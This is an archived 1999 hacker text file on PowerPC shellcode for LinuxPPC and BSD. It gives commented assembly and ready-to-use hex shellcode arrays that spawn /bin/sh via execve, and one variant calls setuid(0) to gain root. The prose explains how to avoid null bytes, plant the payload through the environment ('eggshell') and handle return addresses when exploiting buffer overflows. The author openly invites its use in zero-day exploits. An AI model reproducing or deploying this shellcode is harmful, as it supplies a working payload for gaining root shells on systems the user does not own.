home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / ppc.shellcode.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  11.9 KB  |  321 lines

  1. PPC shellcode
  2. Copyright 1999 palante <palante@subterrain.net>
  3.  
  4.  
  5. INTRODUCTION
  6.  
  7. I realize that *nix on PPC is not terribly common. It was difficult to get
  8. access to a test platform. But PPC sales are taking off and more and more
  9. of their owners are joining the dark side to run *nix. Before you unleash
  10. yourself, ppc admins are probably new to this sort of thing. Please be nice
  11. to them. The enemy of your enemy is your friend.
  12.  
  13. Both LinuxPPC and BSD (darwin?) versions are included. The only difference
  14. with the BSD version is that it uses system call 59 instead of 11 as execve.
  15. Sorry, no way to test it yet.
  16.         
  17. Lastly, if you use this in a 0 day sploit, I'm sure I can think of someone you
  18. would like to share it with. If you don't write exploits, you're probably
  19. wasting your time emailing me about this.
  20.  
  21.  
  22. See you at defcon or toorcon.
  23.  
  24.  
  25. SHELLCODE
  26.  
  27. Making an execve call wasn't too hard, but it's very hard on the PPC to avoid
  28. all the null bytes in the opcodes. There are two very important opcodes which
  29. which can have nulls in them. The first is the sc opcode to make system calls.
  30. I've make the code self-modifying to get around that problem. Hopefully this
  31. won't cause trouble with the instruction cache. It works for me(TM) but YMMV.
  32.  
  33. The other one is a bit more difficult. We need to give execve an absolute
  34. address to the string "/bin/sh", but since we don't have the help of the ld
  35. we don't have direct access to the absolute address. So there are two
  36. approaches. We could guess its offset relative to the stack pointer (R1)
  37. or frame pointer (R31). Or we could just do the equivalent of a function call
  38. (bl) to store the absolute address in the link register (spr8 and/or on the
  39. stack somewhere). I've chosen the second.
  40.  
  41. And it's the branch relative instruction that is our second instruction with
  42. null bytes in it. This makes the code longer and even kludgier. The null byte
  43. will disappear if the size of the shellcode is tripled. This version will be
  44. included at the bottom. I've also included a setuid(0) call as part of that
  45. padding.
  46.  
  47. Of course, it may be possible to work around the need to eliminate null bytes.
  48. If you use the eggshell technique, where you plant the shellcode onto the
  49. stack (ie the ENV) before execing the vulnerable program, and overflow the
  50. vulnerable program's stack only with the return address, you do not need an
  51. uninterupted string of shell opcodes. You can plant the eggshell, then zero
  52. out the remaining null byte (in the branch opcode on the stack in the ENV)
  53. and then exec away.
  54.  
  55. Oh, if you're writing an exploit, you may arrive at the shellcode after a
  56. second return is called, and not just the return from the function you're in.
  57. The reason for this is that the return address that will be used next is
  58. technically stored on-chip in spr 8, although gcc copies it to and from the
  59. stack (at r1-0x4) but an optimized program will not necessarily do this. You
  60. may have to overwrite the stored value for the next return. 
  61.  
  62. Suggested nop is 0x7ffffb78.
  63.  
  64.     
  65.         .section ".text"      # Palante's LinuxPPC shellcode
  66.         .align 2
  67.         .globl m
  68.         .type    m,@function
  69. m:
  70.     xor  6,6,6            # r6 is 0
  71.     cmpi  7,0,6,0x7FFF    # do meaningless compare
  72.         bc 13,28,L2           # conditional branch to L2 - CAUSES NULL BYTE
  73. L1:     mfspr 3,8          # address of /bin/sh into r3 (execve parameter)
  74.             
  75.     sth  6,-7(3)          # fix sc opcode
  76.     sth  6,-15(3)         # fix sc opcode
  77.     
  78.     addi 4,6,0x7FF0
  79.     addi 5,6,0x7FF4
  80.     addi 7,6,0x7FF3
  81.     xor  5,5,4            #got 0x4 into r5
  82.     xor  7,7,4            #got 0x3 into r7
  83.  
  84.     
  85.     add  4,5,7            # r4 = 0x7
  86.     stbx 6,4,3            # store null after /bin/sh
  87.  
  88.     add  0,4,5            # this makes 11 which is the execve system call
  89.         sub  7,5,7            # r7 = 0x1 for exit system call    
  90.  
  91.         add  4,5,5            # r4 = 0x8
  92.         stwx 3,3,4            # and store pointer to /bin/sh at r3+0x8
  93.     add  4,3,4            # r4 = r3 + 0x8 (execve parameter)
  94.     stwx 6,5,4            # store NULL pointer
  95.         xor 5,5,5             # NULL (execve parameter)
  96. .long   0x44ffff02            # not quite an sc opcode
  97.     or 0,7,7              # syscall 1 - exit
  98. .long   0x44ffff02            # not quite an sc opcode
  99.  
  100. L2:     bl L1                 # branch and link back to L1
  101. .long 0x2F62696E              #/bin/shZ
  102. .long 0x2F73685A
  103. .long 0xffffffff              # this is where pointer to /bin/sh goes
  104. .long 0xffffffff              # this is where null pointer goes
  105.  
  106. .Lfe1:
  107. .size    m,.Lfe1-m
  108.  
  109.  
  110. long shellcode[] = { /* Palante's linuxPPC shellcode w/ NULL*/
  111. 0x7CC63278, 0x2F867FFF, 0x41BC0054, 0x7C6802A6,
  112. 0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4,
  113. 0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,
  114. 0x7CC419AE, 0x7C042A14, 0x7CE72850, 0x7C852A14,
  115. 0x7C63212E, 0x7C832214, 0x7CC5212E, 0x7CA52A78,
  116. 0x44FFFF02, 0x7CE03B78, 0x44FFFF02, 0x4BFFFFB1,
  117. 0x2F62696E, 0x2F73685A, 0xFFFFFFFF, 0xFFFFFFFF } ; 
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.         .section ".text"      # Palante's BSD PPC shellcode
  125.         .align 2
  126.         .globl m
  127.         .type    m,@function
  128. m:
  129.     xor  6,6,6            # r6 is 0
  130.     cmpi  7,0,6,0x7FFF    # do meaningless compare
  131.         bc 13,28,L2           # conditional branch to L2 # CAUSES NULL BYTE
  132. L1:     mfspr 3,8          # address of /bin/sh into r3 (execve parameter)
  133.             
  134.     sth  6,-7(3)          # fix sc opcode
  135.     sth  6,-15(3)         # fix sc opcode
  136.     
  137.     addi 4,6,0x7FF0
  138.     addi 5,6,0x7FF4
  139.     addi 7,6,0x7FF3
  140.     xor  5,5,4            #got 0x4 into r5
  141.     xor  7,7,4            #got 0x3 into r7
  142.  
  143.     
  144.     add  4,5,7            # r4 = 0x7
  145.     stbx 6,4,3            # store null after /bin/sh
  146.  
  147.     mullw 4,4,5           # r4 = 0x1c (28)
  148.         add  4,4,4            # r4 = 0x38 (56)
  149.     add  0,4,7            # this makes 59 which is the execve system call
  150.         
  151.         sub  7,5,7            # r7 = 0x1 for exit system call    
  152.  
  153.         add  4,5,5            # r4 = 0x8
  154.         stwx 3,3,4            # and store pointer to /bin/sh at r3+0x8
  155.     add  4,3,4            # r4 = r3 + 0x8 (execve parameter)
  156.     stwx 6,5,4            # store NULL pointer
  157.         xor 5,5,5             # NULL (execve parameter)
  158. .long   0x44ffff02            # not quite an sc opcode
  159.     or 0,7,7              # syscall 1 - exit
  160. .long   0x44ffff02            # not quite an sc opcode
  161.  
  162. L2:     bl L1                 # branch and link back to L1
  163. .long 0x2F62696E              #/bin/shZ
  164. .long 0x2F73685A
  165. .long 0xffffffff              # this is where pointer to /bin/sh goes
  166. .long 0xffffffff              # this is where null pointer goes
  167.  
  168. .Lfe1:
  169. .size    m,.Lfe1-m
  170.  
  171.  
  172. long shellcode[] = { /* Palante's BSD PPC shellcode w/ NULL*/
  173. 0x7CC63278, 0x2F867FFF, 0x41BC005C, 0x7C6802A6,
  174. 0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4,
  175. 0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,
  176. 0x7CC419AE, 0x7C8429D6, 0x7C842214, 0x7C043A14,
  177. 0x7CE72850, 0x7C852A14, 0x7C63212E, 0x7C832214,
  178. 0x7CC5212E, 0x7CA52A78, 0x44FFFF02, 0x7CE03B78,
  179. 0x44FFFF02, 0x4BFFFFA9, 0x2F62696E, 0x2F73685A,
  180. 0xFFFFFFFF, 0xFFFFFFFF }; 
  181.  
  182.  
  183.  
  184.  
  185.  
  186.         .section ".text"      # Palante's LinuxPPC shellcode
  187.         .align 2
  188.         .globl m
  189.         .type    m,@function
  190. m:
  191.     xor  6,6,6            # r6 is 0
  192.     cmpi  7,0,6,0x7FFF    # do meaningless compare
  193.         bc 13,28,L2           # conditional branch to L2 - nops eliminate null
  194. L1:     mfspr 3,8          # address of /bin/sh into r3 (execve parameter)
  195.             
  196.     sth  6,-75(3)         # fix sc opcode
  197.     sth  6,-83(3)         # fix sc opcode
  198.         sth  6,-123(3)        # fix sc opcode
  199.  
  200. .long   0x7ffffb78            # padding. The instruction cache should only be
  201. .long   0x7ffffb78            # about 6 instructions, but just in case...
  202. .long   0x7ffffb78
  203. .long   0x7ffffb78
  204. .long   0x7ffffb78
  205. .long   0x7ffffb78
  206. .long   0x7ffffb78
  207. .long   0x7ffffb78
  208. .long   0x7ffffb78
  209. .long   0x7ffffb78
  210. .long   0x7ffffb78
  211. .long   0x7ffffb78
  212. .long   0x7ffffb78
  213. .long   0x7ffffb78
  214. .long   0x7ffffb78
  215. .long   0x7ffffb78
  216.     
  217.     addi 4,6,0x7FF0
  218.     addi 5,6,0x7FF4
  219.     addi 7,6,0x7FF3
  220.     xor  5,5,4            #got 0x4 into r5
  221.     xor  7,7,4            #got 0x3 into r7
  222.  
  223.     
  224.     add  4,5,7            # r4 = 0x7
  225.     stbx 6,4,3            # store null after /bin/sh
  226.  
  227.     add  6,4,5            # this makes 11 which is the execve system call
  228.         sub  7,5,7            # r7 = 0x1 for exit system call    
  229.  
  230.         add  4,5,5            # r4 = 0x8
  231.         add  5,4,4            # r5 = 0x10
  232.         add  5,4,5            # r5 = 0x18
  233.         sub  0,5,7            # this makes 23 which is the setuid call
  234.         or   5,3,3            # tuck ptr to /bin/sh away
  235.         xor  3,3,3            # I wanna be rewt (setuid parameter)
  236. .long   0x44ffff02            # not quite an sc opcode (for setuid)
  237.         or   3,5,5            # ptr to /bin/sh back to r3 (execve parameter)
  238.         or   0,6,6            # execve system call number
  239.         xor  6,6,6
  240.         add  5,7,7
  241.         add  5,5,5            # get r5 back to 0x4
  242.  
  243.         stwx 3,3,4            # and store pointer to /bin/sh at r3+0x8
  244.     add  4,3,4            # r4 = r3 + 0x8 (execve parameter)
  245.     stwx 6,5,4            # store NULL pointer
  246.  
  247.         xor 5,5,5             # NULL (execve parameter)
  248.  
  249. .long   0x44ffff02            # not quite an sc opcode (for execve)
  250.     or 0,7,7              # syscall 1 - exit
  251. .long   0x44ffff02            # not quite an sc opcode (for exit)
  252.  
  253.  
  254. .long   0x7ffffb78            # bunch 'o nops. This eliminates the null
  255. .long   0x7ffffb78            # byte caused by the branch
  256. .long   0x7ffffb78
  257. .long   0x7ffffb78
  258. .long   0x7ffffb78
  259. .long   0x7ffffb78
  260. .long   0x7ffffb78
  261. .long   0x7ffffb78
  262. .long   0x7ffffb78
  263. .long   0x7ffffb78
  264. .long   0x7ffffb78
  265. .long   0x7ffffb78
  266. .long   0x7ffffb78
  267. .long   0x7ffffb78
  268. .long   0x7ffffb78
  269. .long   0x7ffffb78
  270.  
  271. L2:     xor 6,6,6             # zero out again so we can also land in the NOPS
  272.         bl L1                 # branch and link back to L1
  273. .long 0x2F62696E              #/bin/shZ
  274. .long 0x2F73685A
  275.  
  276. .long 0xffffffff              # this is where pointer to /bin/sh goes
  277. .long 0xffffffff              # this is where null pointer goes
  278.  
  279. .Lfe1:
  280. .size    m,.Lfe1-m
  281.  
  282.  
  283.  
  284. long shellcode[] = { /* Palante's linuxPPC shellcode */
  285. 0x7cc63278, 0x2f867fff, 0x41bc0104, 0x7c6802a6, 0xb0c3ffb5, 0xb0c3ffad,
  286. 0xb0c3ff85, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,
  287. 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,
  288. 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x38867ff0,
  289. 0x38a67ff4, 0x38e67ff3, 0x7ca52278, 0x7ce72278, 0x7c853a14, 0x7cc419ae,
  290. 0x7cc42a14, 0x7ce72850, 0x7c852a14, 0x7ca42214, 0x7ca42a14, 0x7c072850,
  291. 0x7c651b78, 0x7c631a78, 0x44ffff02, 0x7ca32b78, 0x7cc03378, 0x7cc63278,
  292. 0x7ca73a14, 0x7ca52a14, 0x7c63212e, 0x7c832214, 0x7cc5212e, 0x7ca52a78,
  293. 0x44ffff02, 0x7ce03b78, 0x44ffff02, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,
  294. 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,
  295. 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,
  296. 0x7ffffb78, 0x7cc63278, 0x4bfffefd, 0x2f62696e, 0x2f73685a, 0xffffffff,
  297. 0xffffffff };
  298.  
  299.  
  300. long shellcode[] = { /* Palante's BSD PPC shellcode */
  301. 0x7cc63278, 0x2f867fff, 0x41bc0104, 0x7c6802a6, 0xb0c3ffbd, 0xb0c3ffb5,
  302. 0xb0c3ff8d, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,
  303. 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,
  304. 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x38867ff0,
  305. 0x38a67ff4, 0x38e67ff3, 0x7ca52278, 0x7ce72278, 0x7c853a14, 0x7cc419ae,
  306. 0x7c8429d6, 0x7c842214, 0x7cc43a14, 0x7ce72850, 0x7c852a14, 0x7ca42214,
  307. 0x7ca42a14, 0x7c072850, 0x7c651b78, 0x7c631a78, 0x44ffff02, 0x7ca32b78,
  308. 0x7cc03378, 0x7cc63278, 0x7ca73a14, 0x7ca52a14, 0x7c63212e, 0x7c832214,
  309. 0x7cc5212e, 0x7ca52a78, 0x44ffff02, 0x7ce03b78, 0x44ffff02, 0x7ffffb78,
  310. 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,
  311. 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,
  312. 0x7ffffb78, 0x7cc63278, 0x4bfffefd, 0x2f62696e, 0x2f73685a, 0xffffffff,
  313. 0xffffffff };
  314.  
  315.  
  316.  
  317. test program:
  318. void main() { __asm__("b shellcode"); }
  319.  
  320.  
  321.